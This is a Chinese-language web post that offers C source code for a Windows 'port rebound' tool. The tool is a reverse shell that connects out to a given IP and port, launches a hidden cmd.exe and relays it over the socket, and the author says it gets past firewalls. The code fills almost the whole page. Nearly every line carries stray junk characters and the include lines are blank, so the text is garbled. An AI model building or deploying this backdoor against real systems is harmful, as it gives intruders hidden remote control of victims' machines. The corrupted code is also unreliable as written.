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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~::R+Lh(  
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/* ==============================  HOD2/  
Rebound port in Windows NT tFSdi. |G=  
By wind,2006/7 9D| FqU |  
===============================*/ R utW{wh  
#include 5\'%zZ,l  
#include +Va?wAnr  
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#pragma comment(lib,"wsock32.lib") WR-C_1-pT  
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void OutputShell(); "TV.$s$.  
SOCKET sClient; C>u 3n^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PRLV1o1#  
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void main(int argc,char **argv) $Us@fJr  
{ kg61Dgu  
WSADATA stWsaData; ;`+RSr^8$  
int nRet; Pz)QOrrG~  
SOCKADDR_IN stSaiClient,stSaiServer; M$?6 '  
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if(argc != 3) nn   
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printf("Useage:\n\rRebound DestIP DestPort\n"); C&st7. (k  
return; -#o+x Jj  
} $oQsh|sTI  
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WSAStartup(MAKEWORD(2,2),&stWsaData); (g)@wNBW  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /j)VES  
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stSaiClient.sin_family = AF_INET; X|QCa@Foe  
stSaiClient.sin_port = htons(0); '-S&i{H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LWL>hd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) StDmJ]  
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printf("Bind Socket Failed!\n"); =5/;h+bk+3  
return; 9e)+<H  
} d-<y'GYw  
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stSaiServer.sin_family = AF_INET; (XwLKkw0n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uy9B8&Sr  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IX*S:7S[  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `p{ !5  
{ h]MVFn{  
printf("Connect Error!"); -5cH$]1\  
return; }H#t( 9,U  
} #rpqt{m l  
OutputShell(); :I'Ezxv|  
} -Wn.@bz6B  
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void OutputShell() j'i42-Lt/p  
{ Yq?I>  
char szBuff[1024]; j~E +6f \  
SECURITY_ATTRIBUTES stSecurityAttributes; HV9SdJOf  
OSVERSIONINFO stOsversionInfo; ^'fKey`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oGVSy`ku  
STARTUPINFO stStartupInfo; -h@0 1  
char *szShell; :|M/+XPu  
PROCESS_INFORMATION stProcessInformation; +.lWck  
unsigned long lBytesRead; huoKr  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pG( knu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G; [A Q:Iy  
stSecurityAttributes.lpSecurityDescriptor = 0; UBi4itGD  
stSecurityAttributes.bInheritHandle = TRUE; VqL 5f  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fBgKX ?Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CdDd+h8  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <s >/< kW:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [/Z'OV"tU  
stStartupInfo.wShowWindow = SW_HIDE; `,Nn4  
stStartupInfo.hStdInput = hReadPipe; kxW>Da<6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !"J#,e|  
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GetVersionEx(&stOsversionInfo); 0c61q Q6  
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switch(stOsversionInfo.dwPlatformId) -z0{\=@#m  
{ ?a>7=)%AH  
case 1: gc@#O#K~h^  
szShell = "command.com"; &7w>K6p  
break; M6'C3,y0  
default: ,GJ>vT)  
szShell = "cmd.exe"; T4=3VrS  
break; E)O|16f|>  
} K) `:v|d  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U('<iw,Yy  
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send(sClient,szMsg,77,0); R-Q1YHUQM  
while(1) )SX6)__  
{ 3EVC8ue  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v$m[#&O^V?  
if(lBytesRead) 0 BCGJFZ{  
{ OJsd[l3xR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <i'u96  
send(sClient,szBuff,lBytesRead,0); ) , ]2`w&k  
} H@MFj>~  
else n<:d%&^n  
{ vaRwh E:  
lBytesRead=recv(sClient,szBuff,1024,0); dA} 72D?  
if(lBytesRead<=0) break; Dw`m>'J0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0O#B'Uu  
} @y(Wy}  
} v"r9|m~'  
sk ?'^6Xh  
return; pTALhj#,  
}
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